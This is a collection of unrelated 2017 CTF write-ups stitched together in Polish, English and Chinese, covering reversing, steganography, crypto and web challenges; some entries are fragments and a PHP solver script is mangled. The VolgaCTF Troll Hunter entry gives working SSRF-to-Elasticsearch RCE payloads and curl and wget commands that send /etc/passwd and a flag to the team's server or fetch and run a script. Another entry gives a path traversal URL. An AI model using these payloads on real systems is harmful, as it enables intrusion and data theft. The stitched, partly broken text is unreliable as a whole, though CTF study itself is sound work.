```asm00000000004015da mov r8d, 0x404192 ; "sensors/%s.cfg", argument #5 for method j___snprintf_chk00000000004015e0 mov ecx, 0x80 ; argument #4 for method j___snprintf_chk00000000004015e5 mov edx, 0x1 ; argument #3 for method j___snprintf_chk00000000004015ea mov esi, 0x80 ; argument #2 for method j___snprintf_chk00000000004015ef xor eax, eax00000000004015f1 call j___snprintf_chk00000000004015f6 lea rdi, qword [ss:rsp+0x1a8+var_190] ; argument "s1" for method j_strcspn00000000004015fb mov esi, 0x4044b4 ; argument "s2" for method j_strcspn0000000000401600 call j_strcspn0000000000401605 lea rdi, qword [ss:rsp+0x1a8+var_190] ; argument "filename" for method j_fopen000000000040160a mov esi, 0x4044cc ; argument "mode" for method j_fopen000000000040160f mov byte [ss:rsp+rax+0x1a8+var_190], 0x00000000000401614 call j_fopen0000000000401619 test rax, rax000000000040161c mov rbx, rax000000000040161f jne 0x401641;0000000000401641 lea rdi, qword [ss:rsp+0x1a8+var_110] ; argument "str" for method j_fgets, XREF=loadSensorConfig+1460000000000401649 mov rdx, rax ; argument "stream" for method j_fgets000000000040164c mov esi, 0x100 ; argument "size" for method j_fgets0000000000401651 call j_fgets0000000000401656 test rax, rax0000000000401659 mov rdi, rbx000000000040165c jne 0x401665```
Możemy zauważyć też, ze jeśli wczytany plik nie jest poprawną konfiguracją dla sensorów to wykonane zostanie:
```asm000000000040168c mov edi, 0x190 ; argument #1 for method cgiHeaderStatus0000000000401691 call cgiHeaderStatus0000000000401696 lea rsi, qword [ss:rsp+0x1a8+var_110] ; argument #2 for method debug_printf000000000040169e mov edi, 0x4041e8 ; "Invalid configuration:\\n%s\\n", argument #1 for method debug_printf00000000004016a3 xor eax, eax00000000004016a5 call debug_printf00000000004016aa jmp 0x40163c```
Więc ta funkcja wypisze nam zawartość niepoprwanego pliku za pomocą `debug_printf`.Analiza tej funkcji pozwala stwierdzić że wystarczy ustawić parametr GET `debug` żeby widzieć jej wyniki.
Teraz pozostaje nam zmusić binarke do wczytania flagi zamiast konfiguracji sensora.Widzimy że wywoływane jest `snprintf` z formatem `sensors/%s.cfg` dla danych które wprowadzimy.Gydybyśmy mogli przemycić tam nullbyte to końcówka `.cfg` zostałaby ucięta i za pomocą `../` moglibyśmy wyjść do katalogu z flagą i ją odczytać.Niestety nie możemy tego zrobić bo dane są już wcześnie przetworzone przez `strcpy` w bibliotece cgi i wszystkie nullbyte są usunięte kiedy tu dochodzimy.Nasza kolejna myśl to wprowadzenie długiego inputu, ponieważ `snprintf` zapisze nie więcej niż `n` znaków, więc gdyby input był odpowiednio długi moglibyśmy znów uzyskać wynikowy string bez `.cfg`.Niestety to też nie jest możliwe bo biblioteka cgi limituje długość parametru i zawsze jest za krótki.Funkcja `snprintf` ma bufor na 0x80 znaków a parametry są w main ograniczane do 0x40 bajtów.
Ale w kodzie jest pewna ciekawa rzecz:
```asm00000000004015f6 lea rdi, qword [ss:rsp+0x1a8+var_190] ; argument "s1" for method j_strcspn00000000004015fb mov esi, 0x4044b4 ; argument "s2" for method j_strcspn0000000000401600 call j_strcspn0000000000401605 lea rdi, qword [ss:rsp+0x1a8+var_190] ; argument "filename" for method j_fopen000000000040160a mov esi, 0x4044cc ; argument "mode" for method j_fopen000000000040160f mov byte [ss:rsp+rax+0x1a8+var_190], 0x0```
Jak widać funkcja `strcspn` jest wywoływana z naszym wejściem i jakąś stałą z `0x4044b4` jako drugim parametrem i następnie bajt 0x0 jest ustawiany wewnątrz stringa przygotowanego już przez `snprintf` a takim indeksie jaki zwróci `strcspn`!Więc możemy ustawić nullbyte o ile `strcspn` zróci indeks przed `.cfg`Jeśli zerkniemy teraz na stałą pod `0x4044b4` zobaczymy:
```asm00000000004044b4 dd '\x0d\x0a\x00w' ```
Z czego wynika ze wysłanie `\r` lub `\n` da oczekiwany przez nas efekt dodania nullbyte.To oznacza że dla wejścia `sensor=../flag.txt%0A` `snprintf` utworzy ścieżkę `/sensors/../flag.txt\n.cfg` a następnie po `strcspn` to zostanie zmienione na `/sensors/../flag.txt\0.cfg` a tym samym fopen zignoruje `.cfg` i otworzy dla nas flagę!
Finalnie uruchomienie `https://steel-mountain-d2fcf1e0.ctf.bsidessf.net/sensor?sensor=../flag.txt%0A&debug` daje nam `flag:directory_traversal_in_c` |
2017_Mane Event
題目的原始檔案:
https://github.com/SJChang/EasyCTF2017
裡面的lion.jpg
題目:My friend just got back from the plains and he took this picture with his new camera. He also told me there’s a flag hidden in it – can you check it out for me?
|
# Nuit Du Hack CTF Quals 2017 You have been terminated### Category: Steganography, 50 points
> You found this strange image on a computer, I heard there is a hidden message in it... Can you find it ?> Hint 1: I heard a cat... Hint 2: There are multiple implementations of this algorithm
### Write-up
We start off with a picture like this.
The first hint points us toward an algorithm called [Arnold's Cat Map](https://en.wikipedia.org/wiki/Arnold%27s_cat_map)
As hint 2 mentions, there are multiple implementations and some doens't seem to work.
First off I tried Jason Davies [Catmap](https://www.jasondavies.com/catmap/)But it didn't seem to work.
After that I found [Zhanxw Cat](https://github.com/zhanxw/cat)
However it's four years old so some modifications had to be done to make it running.
Here's the modified script
```pythonimport PIL.Imagefrom numpy import *#from scipy.misc import lena,imsave#from scipy.misc import imsave
# load imageim = array(PIL.Image.open("o.jpg"))N = im.shape[0]
# create x and y components of Arnold's cat mappingx,y = meshgrid(range(N),range(N))xmap = (2*x+y) % Nymap = (x+y) % N
for i in xrange(N+1): result = PIL.Image.fromarray(im) result.save("cat_%03d.png" % i) im = im[xmap,ymap]```Each frame is saved as an individuall png.
> $ python2.7 cat.py
> $-->calif0rnia_g0vern0r<--$ |
# Minesweeper (crypto, 350)
> Find which bombs are real and which are duds---without exploding any of them!
> For those wondering why this is cryptography: This technique can be used to> detect eavesdropping on a quantum channel, without tipping the eavesdroppers> off.
This time we were given source code of a go simulation of over 100 bombs, that can be dud or live, similar to [this experiment](https://en.wikipedia.org/wiki/Elitzur%E2%80%93Vaidman_bomb_tester).We have to guess all of them without detonating any. For this, we can use two photons and a number of quantum gates.Wikipedia article describes how it can be done in 33% probability,but we need far more than that if we want to guess 100 times correctly.
I found a [Kwiat article](http://www.rle.mit.edu/qem/documents/kwiat-prl-74-4763.pdf), which describes a physical processthat could be used in this problem. Although I'm not an expert at quantum physics, my basic understanding of the principleis that you shine a photon on polarizer rotated just a bit from the original photon polarization. About `sin^2(theta)` of the intensity appears on the other side, and the rest (`cos^2(theta)`) reflects back. Now, if the other side contains a bomb, it will be tipped off with probability of (`sin^2(theta)`), whichfor small `theta` is approximately equal to `theta^2`. If it does not detonate, we are back at square one - photon isdefinitely on the original side.
If we repeat this experiment a number of times (`pi/theta`), then if the bomb wasn't there, the photon will finally rotate phase by the whole pi, but if the bomb was there, it will stay at original phase (provided the bomb didn't explode,which it can do with probability on the order of `theta/pi`).
Still, I had to implement this experiment using given gates. I found [another article](http://www.arturekert.org/quantum/lecturenotes/note2.pdf), which shows how to build a polarizerusing Hadamard and phase rotator gates - use sequence Hadamard:Rotate:Hadamard. See `conn.py` for details. Anyway, running the code a couple of times (it fails randomly) gave us a flag. |
# Hex QR - 200 Points
I've stumbled upon a very strange [QR code](https://github.com/EasyCTF/easyctf-2017-problems/blob/master/qrt/flag.png?raw=true)... seems like it was generated with [this generator](http://hexqr.web.easyctf.com). What could it mean?
### Solution
###### Writeup by VoidMercy from phsst
We were given a website with a custom "QR" generator and we were given an encrypted image.
We had to find the text to input into the generator to create the same image as the one we were given.
We noticed that as you enter more characters, the size of the image created increased. We found that to create an image similar to the flag image, we had to use somewhere in between 51-63 (odds only) characters. Then when we changed a character, we observed that a unique section of the image was changed. From this, we can brute force the flag while xoring the generated image with the flag image for the maximum match. Here is my python code for this:
```pythonimport requestsfrom PIL import Imageimport base64import osimport sysfrom bs4 import BeautifulSoupimport timefrom PIL import ImageFile
ImageFile.LOAD_TRUNCATED_IMAGES = True
orig = Image.open("hex.png")orig_w, orig_h = orig.sizeorig_p = orig.convert("RGB")
def xor(im): c = 0 width,height = im.size imp = im.convert("RGB") for x in range(width): for y in range(height): pix1 = orig_p.getpixel((x,y)) if (pix1 == (255, 255, 255)): pix1 = 1 else: pix1 = 0 pix2 = imp.getpixel((x,y)) if (pix2 == (255, 255, 255)): pix2 = 1 else: pix2 = 0 if(pix1 ^ pix2 == 0): c += 1 return c
def extract(html): try: soup = BeautifulSoup(html, 'html.parser') gu = (soup.find('img')['src']) return (gu[gu.find("base64,") + 7:]) except: return "bad!"
str1 = list("a" * 57)for i in range (57): cnt = -1 ascii = "a" for j in "abcdefghijklmnopqrstuvwxyz_{}?!": blah = str1 blah[i] = j g = open("test.png", "wb") print(''.join(blah)) r = requests.post("http://hexqr.web.easyctf.com/", data={'text': ''.join(blah)}) res = extract(r.text) if(res == "bad!"): print("bad!") else: g.write(base64.b64decode(extract(r.text))) g.close() gu = Image.open("test.png") anr = xor(gu) print (anr) if(anr == cnt): print("problem") if (anr > cnt): cnt = anr ascii = j os.remove("test.png") time.sleep(0.75) str1[i] = ascii print("".join(str1))```
After getting the majority of the characters of the flag, I added "0123456789" into the charset, and finished computing the rest of the flag.
## Flag
>easyctf{are_triangles_more_secure_than_squares?_ae9856ab} |
# Fair and Square
[This file](https://github.com/Sporax/ctf-writeups/blob/master/2017/xiomara/fair-and-square/fair-and-square.txt) was provided for the challenge, along with a description of someone having no clue what to do with it.
It seems to contain pixel data, so I tried converting it to an image to get a flag out of it:
$ python3 from PIL import Image file = open('fair-and-square.txt').read() pixels = tuple(eval(file))
Next, I needed to calculate possible dimensions for the image:
lengths = [x for x in range(1, len(pixels)) if not len(pixels) % x] lengths = [(x, len(pixels) // x) for x in lengths] print(lengths) -> [(1, 46656), (2, 23328), (3, 15552), (4, 11664), (6, 7776), (8, 5832), (9, 5184), (12, 3888), (16, 2916), (18, 2592), (24, 1944), (27, 1728), (32, 1458), (36, 1296), (48, 972), (54, 864), (64, 729), (72, 648), (81, 576), (96, 486), (108, 432), (144, 324), (162, 288), (192, 243), (216, 216), (243, 192), (288, 162), (324, 144), (432, 108), (486, 96), (576, 81), (648, 72), (729, 64), (864, 54), (972, 48), (1296, 36), (1458, 32), (1728, 27), (1944, 24), (2592, 18), (2916, 16), (3888, 12), (5184, 9), (5832, 8), (7776, 6), (11664, 4), (15552, 3), (23328, 2)]
As the title of the challenge suggests, the image should be a square. So its probably 216x216:
image = Image.new('RGB', (216, 216)) image.putdata(pixels) image.save("result.png")
This is the result:
Unfortunately, I got stumped at this point, but after the challenge ended someone told me it looks like piet code. I used this to run it: http://www.bertnase.de/npiet/npiet-execute.php
The output is:
Tried hard? :O I'll give you a clue NOW :D PIL and Piet :P Haha! You know that already. Is'nt it? -_- Here's what you want: Xiomara{piLet} Enjoy!
Xiomara{piLet} |
# Public Key Infrastructure (crypto)
## ENG[PL](#pl-version)
In the task we get [code](task.py) running on the server.
We can "register" a new user, and for given `login name` and set of binary bytes `n` we get RSA-encrypted with `(65537, n)` digital signature of string `'MSG = {n: ' + n + ', name: ' + name + '}'`.Bytes `n` are simply casted to int.
We can also "login" by providing `login name`, `n` and a proper signature, and this will give us the flag if we login as `admin`.Obviously we can't register "admin" and there is no way around the check here.
The Digital Signature Algorithm is implemented with no issues here, so there is no vulnerability there.It took us a while to figure out the mistake and how to exploit it.The problem in the code is here:
```pythondef makeK(name, n): return 'K = {n: ' + n + ', name: ' + name + ', secret: ' + SECRET + '}'```
Value `k` should be secret and unpredictable for every signature, because if we can obtain 2 signatures with the same `k`, we can very simply recover the value of `k`.In our case this condition is not really fulfilled, because md5 algorithm is prone to collisions.It it also Merkle-Damgard hash prone to length extension, and therefore if we can get a collision on two inputs, the hash values will stay the same even if we add more data at the end, as long as we add the same data.This means that if we can find a collision on prefix `'K = {n: ' + n` for two different `n` values, we will get identical `k` values (if we use the same `name`) because the suffixes are always the same.
We used `fastcoll/hashclash` to generate the collisions for the prefix `'K = {n: ' + n` with random bytes as `n` value.
There is, however, one slight issue -> we actually can't use a totally random `n` value!After all the server is using this value for RSA encryption of the signature, so if we can't factor `n` we won't be able to decrypt the signature we need.Therefore, we wrote a simple script which was checking the `n` values we got in the collision in factordb to make sure it is factored:
```pythondef is_ok(data): if data.strip() == "CF *": return False if data.strip() == "CF": return False return True
def check_n(file): payload = open("colisions/"+file, "rb").read()[8:] n = int(payload.encode('hex'), 16) r = get(url="https://factordb.com/index.php?query="+str(n)) soup = BeautifulSoup(r.text) data = soup.getText().split("\n") return is_ok(data[data.index('Result:')+4])```
With this after a while we manage to get two nice collisions with proper `n` values: [col1](col1), [col2](col2).
They both are fully factored in factordb so we get factors:
```factors1 = [234616432627, 705869477985961204313551643916777744071330628233585786045998984992545254851001542557142933879996265894077678757754161926225017823868556053452942288402098017612976595081470669501660030315795007199720049960329731910224810022789423585714786440228952065540955255662140767866791612922576360776884260619L]
factors2 = [119851, 236017, 5854608817710130372948444562294396040006311067115965740712711205981029362712183315259168783815905208719000197236691607700100836391807927746833977891792631066541406816904680111217125634549418611669208807316369565620310660295144628581977856740654199823679135895590513942858128229967305158632385155587L]```
With this we can use standard RSA for first one, and multiprime RSA for the second one, and decode the signatures from the server.The signature is a pair `(s,r)` or in our case a single value `r*Q + s` which can be easily split into `s` and `r` by div and mod.
Directly from the way the value `s` is calcualted we have:
```s_1 = modinv(k,q) * (H(msg_1) + private_key*r) mod qs_2 = modinv(k,q) * (H(msg_2) + private_key*r) mod q```
We can transform this further:
```(s_1 - s_2) modq = (modinv(k,q) * (H(msg_1) + private_key*r) - modinv(k,q) * (H(msg_2) + private_key*r)) modq```
then:
```(s_1 - s_2) modq = modinv(k,q) * (H(msg_1) + private_key*r - H(msg_2) - private_key*r) modq```
which removes the unknown `private_key*r` part leaving:
```(s_1 - s_2) modq = modinv(k,q) * H(msg_1) - H(msg_2) modq```
And therefore we get the equation for `k`:
```k modq = ((H(msg_1) - H(msg_2)) * modinv((s_1 - s_2), q)) modq```
If we have `k` we can easily recover the `private_key` again transforming the equation:
```s = modinv(k,q) * (H(msg) + private_key*r) mod q```
because now we know all the values, so we can transform this to:
```private_key = ((s * k) - H(m)) * modinv(r, q)```
Now if we have the private key we can sign any message we want.Keep in mind that the value of `SECRET` which server uses to calculate `k` is not needed for us at all.The value of `k` can be any number, so we can make:
```pythondef simple_sign(name, n, priv): k = 5 # why not? ;) r = pow(G, k, P) % Q s = (modinv(k, Q) * (h(makeMsg(name, n)) + priv * r)) % Q return r * Q + s```
And this will give us the proper signature for the data.We calculate `admin_sig = simple_sign("admin", "1", private_key)`, and login with it to get the flag:
`DrgnS{ThisFlagIsNotInterestingJustPasteItIntoTheScoreboard}`
The whole solver script is [here](solver.py)
## PL version
W zadaniu dostajemy [kod](task.py) działający na serwerze.
Możemy "zarejestrować" nowego użytkownika, a dla danego `loginu` oraz pewnych danych binarnych `n` dostaniemy zaszyfrowane za pomocą RSA z `(65537, n)` cyfrowy podpis dla stringa `'MSG = {n: ' + n + ', name: ' + name + '}'`.Bajty `n` są tutaj zwyczajnie rzutowane do inta.
Możemy także "zalogować" się podając `login`, `n` oraz poprawny podpis i to da nam flagę jeśli zalogujemy się jako `admin`.Oczywiście nie możemy zarejestrować loginu "admin" i nie ma da się tego obejść.
Digital Signature Algorithm jest tu zaimplementowan bez widocznych błędów ani różnic, więc nie ma tam żadnej podatności.Zajęło nam trochę czasu znalezienie luki i wymyślenie jak ją wykorzystać.Problem jest tutaj:
```pythondef makeK(name, n): return 'K = {n: ' + n + ', name: ' + name + ', secret: ' + SECRET + '}'```
Wartość `k` powinna być sekretna i nieprzewidywalna dla każdego podpisu, ponieważ jeśli jesteśmy w stanie uzyskać 2 podpisy z tym samym `k`, możemy łatwo wyliczyć `k`.W naszym przypadku ten warunek nie jest spełniony bo md5 jest podatne na kolizje.Jest to takze hash konstrukcji Merkle-Damgard podatny na length extension a to oznacza, że jeśli uzyskamy kolizje dla pewnych dwóch zbiorów danych wejściowych to wartość hasha md5 dla nich będzie równa nawet jeśli dodamy na koniec jakieś dane, o ile dodajemy te same dane.To oznacza że jeśli znajdziemy kolizje dla prefixu `'K = {n: ' + n` dla dwóch różnych wartości `n` to uzyskamy identyczne wartości `k` dla nich (jeśli używamy takiego samego `name`), bo suffixy są takie same.
Użyliśmy `fastcoll/hashclash` do generowania kolizji dla prefixu `'K = {n: ' + n` z losowymi bajtami jako `n`.
Jest tutaj jednak pewien problem -> nie możemy użyć zupełnie dowolnego `n`!Należy pamiętać, że serwer odsyła nam podpis zaszyfrowany przez RSA z użyciem `n`, więc jeśli nie umiemy sfaktoryzować `n` to nie będziemy mogli zdekodować podpisu.W związku z tym napisaliśmy skrypt który sprawdzał w factordb wartości `n` dla których dostaliśmy kolizje, zeby upewnić się, że mamy dla nich faktoryzacje:
```pythondef is_ok(data): if data.strip() == "CF *": return False if data.strip() == "CF": return False return True
def check_n(file): payload = open("colisions/"+file, "rb").read()[8:] n = int(payload.encode('hex'), 16) r = get(url="https://factordb.com/index.php?query="+str(n)) soup = BeautifulSoup(r.text) data = soup.getText().split("\n") return is_ok(data[data.index('Result:')+4])```
Dzięki temu po pewnym czasie udało nam się uzyskać kolizje z pasujacymi `n`: [col1](col1), [col2](col2).
Obie są w pełni sfaktoryzowane:
```factors1 = [234616432627, 705869477985961204313551643916777744071330628233585786045998984992545254851001542557142933879996265894077678757754161926225017823868556053452942288402098017612976595081470669501660030315795007199720049960329731910224810022789423585714786440228952065540955255662140767866791612922576360776884260619L]
factors2 = [119851, 236017, 5854608817710130372948444562294396040006311067115965740712711205981029362712183315259168783815905208719000197236691607700100836391807927746833977891792631066541406816904680111217125634549418611669208807316369565620310660295144628581977856740654199823679135895590513942858128229967305158632385155587L]```
Dzięki temu możemy użyć klasycznego RSA dla pierwszego podpisu i multiprime RSA dla drugiego, żeby zdekodować podpisy wysłane przez serwer.
Podpis to para `(s,r)` lub jak w naszym przypadku jedna wartość `r*Q + s` którą łatwo rozłożyć na `s` i `r` za pomocą dzielenia i reszty z dzielenia przez `Q`.
Bezpośrednio z tego jak liczymy `s` podczas generowania podpisu mamy:
```s_1 = modinv(k,q) * (H(msg_1) + private_key*r) mod qs_2 = modinv(k,q) * (H(msg_2) + private_key*r) mod q```
Co można przekształcić do:
```(s_1 - s_2) modq = (modinv(k,q) * (H(msg_1) + private_key*r) - modinv(k,q) * (H(msg_2) + private_key*r)) modq```
a następnie uprościć:
```(s_1 - s_2) modq = modinv(k,q) * (H(msg_1) + private_key*r - H(msg_2) - private_key*r) modq```
Co pozwala pozbyć się nieznanej części `private_key*r`, zostawiając:
```(s_1 - s_2) modq = modinv(k,q) * H(msg_1) - H(msg_2) modq```
A ty samym równanie dla `k` to:
```k modq = ((H(msg_1) - H(msg_2)) * modinv((s_1 - s_2), q)) modq```
Mając `k` możemy teraz łatwo wyliczyć `private_key`, znów przekształcając równanie dla `s`:
```s = modinv(k,q) * (H(msg) + private_key*r) mod q```
Ponieważ znamy wszystkie parametry możemy przekształcic to do postaci:
```private_key = ((s * k) - H(m)) * modinv(r, q)```
I teraz mając wyliczony klucz prywatny możemy podpisać co tylko chcemy.Warto pamiętać, że nie potrzebujemy wartości `SECRET` za pomocą której serwer oblicza wartość `k`.Wartość `k` może być zupełnie dowolna więc możemy napisać:
```pythondef simple_sign(name, n, priv): k = 5 # why not? ;) r = pow(G, k, P) % Q s = (modinv(k, Q) * (h(makeMsg(name, n)) + priv * r)) % Q return r * Q + s```
I taka funkcja pozwoli poprawnie podpisywać dane.Obliczamy więc `admin_sig = simple_sign("admin", "1", private_key)`, i logując się tym podpisem dostajemy flagę:
`DrgnS{ThisFlagIsNotInterestingJustPasteItIntoTheScoreboard}`
Cały skrypt solvera jest [tutaj](solver.py) |
# VolgaCTF Quals 2017 -- Troll Hunter**Category**: Web
**Description**:> Trolls are everywhere. Fight with us! > troll-hunter.quals.2017.volgactf.ru:9494
# Writeup> disclaimer: I was too slow and lazy to do some screenshots or snippets of the site-sources, so turn your imagination on and try to imagine the missing frontend.
## The Entry Point
Following provided link we could see a website created to help the world to fight against internet trolles.
After a while, clicking on the inputs and observing the requests in Burp we find 2 entry points to the underlying API:- quite strange way to get troll information using request to some kind of DB- input form that follows submitted IP and do some kind of checks
## Find The Troll
All information about known trolls were retrieved using links like:
`http://troll-hunter.quals.2017.volgactf.ru:9494/show?id=q=_id:1`
Visiting the link directly we could see the HTML-card with troll info and some interesting snippet of the code that was commented out:```html
```
After some fuzzing we figured out that:- We could find a troll using any paramter (**ip**, **name**, **img**, **description** and hidden **_id**)- Requests which could not find anything returns **"Problem with Connection"**- We could use multiple paramters in query string, like
```http://troll-hunter.quals.2017.volgactf.ru:9494/show?id=q=img:*troll*%20name:Anonymous```- We could use wildcards like `/show?id=q=fo*` and keywords **sort** and **from**- We could not retrieve anything useful from DB (except trolls that we've already seen)
Using that info we've found out that the actual backend proxies our request to the ElasticSearch. `/show?id=` param is URI decoded and used as a query to [search uri](https://www.elastic.co/guide/en/elasticsearch/reference/current/search-uri-request.html)
So we've had a full control over the query to the specific index of the ElasticSearch but couldn't do anything interesting enough.
*(Writing that text now I think we could try to exploit the target vuln using that functionality, but I can't check it, so let's follow our path)*
## Report Them All!
The second entry point was the form which reports given IP of the troll to the site admins.
Obviously we want to check will the provided IP be visited or just stored, so feed the bot with our public IP and wait for vivstors:
```bashyalegko@isc:~$ nc -lkvvv 4041Listening on [0.0.0.0] (family 0, port 4041)Connection from [185.143.173.223] port 4041 [tcp/*] accepted (family 2, sport 48358)GET / HTTP/1.1Accept-Encoding: gzip;q=1.0,deflate;q=0.6,identity;q=0.3Accept: */*User-Agent: RubyHost: 92.63.71.187:4041```
Aha! It's alive!
So after a bit of tries we got that:- The bot ignores URI scheme, path and params and uses only provided host and port (all auth parts of URI are also ignored) to do `GET /` request- If we answer `200 OK` bot says *"Ok. We'll check this. Thank you!"*, if we send some `4xx` or `5xx` error bot says *"Sorry, we can't check this ip. Something wrong"*- **Bot follow redirects!** And morevover it uses provided location as is, so we have full control over request path and query string
## Knock-Knock, Elastic, R U There?
Sending bot to the `http://localhost:9200/_cat/indices?v` we make sure that we can acess elastic in that way, but we cant get any info except **"OK"** or **"Not OK"**.
*Oh, no! Is it error-based blind elasticsearch injection? D:*
At that moment we got much more access to the elastic REST API, so we took a closer look to [its docs](https://www.elastic.co/guide/en/elasticsearch/reference/current/search-request-body.html) and found the following:> The body content can also be passed as a REST parameter named source.
So we could send the request body via query argument `source` like:``` Location http://localhost:9200/_search?source={"query": {"match_all": { } } }```
Time to try quite interesting field `script_fields`:``` OK -- GET /_search?source={"size":1,"query":{"match_all":{}},"script_fields":{"lol":{"script":"1+1"}}} OK -- GET /_search?source={"size":1,"query":{"match_all":{}},"script_fields":{"lol":{"script":"(new Date()).getTime()"}}} FAIL -- GET /_search?source={"size":1,"query":{"match_all":{}},"script_fields":{"lol":{"script":"import java.net.*"}}} ... Thousands of fails skipped ... OK -- GET /_search?source={"size":1,"query":{"match_all":{}},"script_fields":{"lol":{"script":"l = (new Date()).getTime(); while((new Date()).getTime()-10000<l){}"}}}```
That way we have some kind of java-like language (groovy?) and possible RCE, so we wrote simple webserver and did fuzzing a lot:```pythonfrom flask import Flask, requestfrom flask import Responseimport requestsapp = Flask(__name__)
url = ""lock = False
@app.route("/check/<path:path>")def check(path): global url, lock if lock: return "Already in process", 400 try: lock = True url = 'http://127.0.0.1:9200/'+ path +'?' + request.query_string.decode() r = requests.post("http://troll-hunter.quals.2017.volgactf.ru:9494/checkip", data={"ip":"http://sibears.ru:4042"}) lock = False return r.text, r.status_code except Exception as e: lock = False return str(e), 500
if __name__ == "__main__": app.run(host='0.0.0.0', port=4042, threaded=True)```
## Run My Damn Code
Using that flask webserver and the little helper:```python search = lambda p: requests.get("http://sibears.ru:4042/check/_search", params={"source": json.dumps(p)}).textexec_cmd = lambda cmd: search({"size":1,"query":{"match_all":{}},"script_fields":{"lol":{"script":cmd}}})```
We tried tons of code until our teammate won't ask us had we tried to get java Runtime class as it's done in android hacks:```javawindow.jsinterface.getClass().forName('java.lang.Runtime').getMethod('getRuntime',null).invoke(null,null).exec(cmd);```
After a while we adapted that solution for elastic:```javajava.lang.Math.class.forName("java.lang.Runtime").getRuntime().exec("%s").getText()```
And get RCE!```pythonsearch = lambda p: requests.get("http://sibears.ru:4042/check/_search", params={"source": json.dumps(p)}).text def exec_sh(cmd): payload = { "size":1, "script_fields": { "lol": { "script": '''java.lang.Math.class.forName("java.lang.Runtime").getRuntime().exec("%s").getText()''' % cmd } } } search(payload)```
## I Dare You, I Double Dare I'll Pwn You
Do you remember that we have blind shell?
Surely we tried to run reverse-tcp and http shells but we've failed (probably it's possible but we were quite tired and angry) so all we could do - send results via curl:```pythonexec_sh('curl --upload-file /etc/passwd sibears.ru:4042')```
The worst thing was that we can't run (mb just cos we hate java :o)```javajava.lang.Math.class.forName("java.lang.Runtime").getRuntime().exec(new String[]{ "/bin/sh", "-c", "<cmd>" }).getText()```
That way we have no pipes, command substitutions and so on. Thereby we decided to do it in hard way.
Improve our web server:```pythonfrom flask import Flask, requestfrom flask import Responseimport requestsapp = Flask(__name__)
url = ""lock = False
@app.route("/print", methods=['GET', 'POST', 'PUT'])def print_1(): print("FILE!!!!!\n") print(request.stream.read().decode('base64')) print("FILE!!!!!\n") return "kek"
@app.route("/save/<path:path>", methods=['POST', 'PUT'])def saas(path): with open(path, 'wb') as f: f.write(request.stream.read().decode('base64')) return "lol"
@app.route("/cmd")def cmd1(): with open('cmd.txt', 'r') as f: s = f.read() return s
@app.route("/")def hello(): resp = Response('privet, bot') resp.headers['Location'] = url return resp, 302
@app.route("/check/<path:path>")def check(path): global url, lock if lock: return "Already in process", 400 try: lock = True url = 'http://127.0.0.1:9200/'+ path +'?' + request.query_string.decode() r = requests.post("http://troll-hunter.quals.2017.volgactf.ru:9494/checkip", data={"ip":"http://92.63.71.187:5000"}) lock = False return r.text, r.status_code except Exception as e: lock = False return str(e), 500
if __name__ == "__main__": app.run(host='0.0.0.0', port=4042, threaded=True)```
And now execute command as following:```pythonecho 'cmd' > cmd.txtexec_sh("wget -O /tmp/asdqwe sibears.ru:4042/cmd"); exec_sh('bash /tmp/asdqwe')```
After fucking hours of looking for flag in the Share Point the first thing we've done - run the find command:```bash find / -name "*flag*" | base64 | curl -d @- sibears.ru:4042/print```
Which gives us flag location "/flag":```bashcat /flag | base64 | curl -d @- sibears.ru:4042/print```
Flag: `VolgaCTF{troll_is_dead_now_we_win_the_battle}`
## P.S.
Ofc our solution isn't optimal but it reflects our way to get the flag, so I believe that it can be useful.
If you are sure that you can do it faster, we steal [app sources](./task) just btw, so you can try to pwn it by yourself. |
# Decomphose - 300 Points
Image arithmetic is super neat until there's more than two images involved.
file 1
[file 2](https://github.com/VoidMercy/easyctf-2017-problems/blob/master/decomphose/decomp2.7z?raw=true)
[file 3](https://github.com/VoidMercy/easyctf-2017-problems/blob/master/decomphose/decomp3.7z?raw=true)
[file 4](https://github.com/VoidMercy/easyctf-2017-problems/blob/master/decomphose/decomp4.7z?raw=true)
### Solution
###### Writeup by VoidMercy from phsst
We were given 84 images in 4 folders.
After looking into each of the images, we can see that there are black squares surrounding pixels randomly in each of the images. We surmised that the solution requires you to combine all of the pixels with black pixels surrounding them. Here is my script to do this:
```pythonimport osfrom PIL import Image
flag = Image.new("RGB", (1280, 720))path = "E:\easyctf\decomphose\decomp1"for filename in os.listdir(path): if (".py" not in filename): f = Image.open(path + "\\" + filename) width, height = f.size for i in range(width): for a in range(height): add = True if (i > 0 and f.getpixel((i - 1, a)) != (0, 0, 0)): add = False if (i < width - 1 and f.getpixel((i + 1, a)) != (0, 0, 0)): add = False if (a > 0 and f.getpixel((i, a - 1)) != (0, 0, 0)): add = False if (a < height - 1 and f.getpixel((i, a + 1)) != (0, 0, 0)): add = False if (add): flag.putpixel((i, a), f.getpixel((i, a)))flag.save("flag.png")```
## Flag
>easyctf{wh4t_a_5weet_fFLag_2b04e1} |
```#!/opt/local/bin/php71 0, '* ****** *' => 1, '* **** * **** *' => 2, '* * ** * ******' => 3, '*** * *****' => 4, '*** ** * ** ***' => 5, '****** * ** ***' => 6, '* * *****' => 7, '****** * ******' => 8, '*** ** * ******' => 9, ' * ' => '*', ' * *** * ' => '+', ' * * * ' => '-',];
function get_digit($text) { $text = preg_replace('%[A-Z]%', '*', $text); return DIGITS[$text];}
function calculate($text) { $digits = []; $buffer = '';
$lines = array_slice(explode("\n", $text), 4, 5); $column = 0; $max = strlen($lines[0]);
while (TRUE) { if ($column >= $max) break;
$column_chars = substr($lines[0], $column, 1) . substr($lines[1], $column, 1) . substr($lines[2], $column, 1) . substr($lines[3], $column, 1) . substr($lines[4], $column, 1);
if ($column_chars == ' ') { if (!empty($buffer)) $digits[] = get_digit($buffer); $buffer = ''; } else { $buffer .= $column_chars; }
++$column; }
return $digits;}
$ch = curl_init(URL);curl_setopt($ch, CURLOPT_RETURNTRANSFER, TRUE);curl_setopt($ch, CURLOPT_COOKIEFILE, '');curl_setopt($ch, CURLOPT_POST, TRUE);
foreach (range(1, 52) as $i) { $html = curl_exec($ch); $html = str_replace('', "\n", $html); $text = strip_tags($html); echo $text;
$digits = calculate($text); $code = '$result = ' . implode('', $digits) . ';'; eval($code);
curl_setopt($ch, CURLOPT_POSTFIELDS, 'sol=' . $result);}``` |
檔案位址:https://github.com/SJChang/EasyCTF2017/blob/master/useless.py題目:
Boredom took over, so I wrote this python file! I didn't want anyone to see it though because it doesn't actually run, so I used the coolest base-16 encoding to keep it secret. python
|
